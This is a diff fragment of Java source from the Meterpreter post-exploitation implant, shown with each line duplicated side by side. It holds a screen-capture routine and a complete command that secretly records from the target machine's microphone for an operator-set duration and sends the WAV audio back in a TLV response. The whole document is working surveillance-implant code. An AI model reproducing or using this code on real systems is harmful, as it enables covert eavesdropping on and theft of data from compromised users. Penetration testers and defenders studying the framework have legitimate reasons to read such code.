iwp.setCompressionQuality(quality / 100.0f); iwp.setCompressionQuality(quality / 100.0f);
} }
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream();
writer.setOutput(ImageIO.createImageOutputStream(baos)); writer.setOutput(ImageIO.createImageOutputStream(baos));
writer.write(null, new IIOImage(new Robot().createScreenCapture(screenBounds), null, null), iwp); writer.write(null, new IIOImage(new Robot().createScreenCapture(screenBounds), null, null), iwp);
writer.dispose(); writer.dispose();
return baos.toByteArray(); return baos.toByteArray();
} }
} }

@ -19,41 +19,41 @@ import com.sun.media.sound.WaveFileWriter;
public class webcam_audio_record_V1_4 extends webcam_audio_record implements Command { public class webcam_audio_record_V1_4 extends webcam_audio_record implements Command {
private static final int TLV_EXTENSIONS = 20000; private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1); private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2); private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION); int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
TargetDataLine line = null; TargetDataLine line = null;
Info[] mixerInfo = AudioSystem.getMixerInfo(); Info[] mixerInfo = AudioSystem.getMixerInfo();
for (int i = 0; i < mixerInfo.length; i++) { for (int i = 0; i < mixerInfo.length; i++) {
Mixer mixer = AudioSystem.getMixer(mixerInfo[i]); Mixer mixer = AudioSystem.getMixer(mixerInfo[i]);
Line.Info[] targetLineInfo = mixer.getTargetLineInfo(); Line.Info[] targetLineInfo = mixer.getTargetLineInfo();
if (targetLineInfo.length > 0) { if (targetLineInfo.length > 0) {
line = (TargetDataLine) mixer.getLine(targetLineInfo[0]); line = (TargetDataLine) mixer.getLine(targetLineInfo[0]);
break; break;
} }
} }
if (line == null) if (line == null)
throw new UnsupportedOperationException("No recording device found"); throw new UnsupportedOperationException("No recording device found");
AudioFormat af = new AudioFormat(11000, 8, 1, true, false); AudioFormat af = new AudioFormat(11000, 8, 1, true, false);
line.open(af); line.open(af);
line.start(); line.start();
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buf = new byte[(int)af.getSampleRate() * af.getFrameSize()]; byte[] buf = new byte[(int) af.getSampleRate() * af.getFrameSize()];
long end = System.currentTimeMillis() + 1000 * duration; long end = System.currentTimeMillis() + 1000 * duration;
int len; int len;
while (System.currentTimeMillis() < end && ((len = line.read(buf, 0, buf.length)) != -1)) { while (System.currentTimeMillis() < end && ((len = line.read(buf, 0, buf.length)) != -1)) {
baos.write(buf, 0, len); baos.write(buf, 0, len);
} }
line.stop(); line.stop();
line.close(); line.close();
baos.close(); baos.close();
AudioInputStream ais = new AudioInputStream(new ByteArrayInputStream(baos.toByteArray()), af, baos.toByteArray().length); AudioInputStream ais = new AudioInputStream(new ByteArrayInputStream(baos.toByteArray()), af, baos.toByteArray().length);
ByteArrayOutputStream wavos = new ByteArrayOutputStream(); ByteArrayOutputStream wavos = new ByteArrayOutputStream();
new WaveFileWriter().write(ais, AudioFileFormat.Type.WAVE, wavos); new WaveFileWriter().write(ais, AudioFileFormat.Type.WAVE, wavos);
response.add(TLV_TYPE_AUDIO_DATA, wavos.toByteArray()); response.add(TLV_TYPE_AUDIO_DATA, wavos.toByteArray());
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }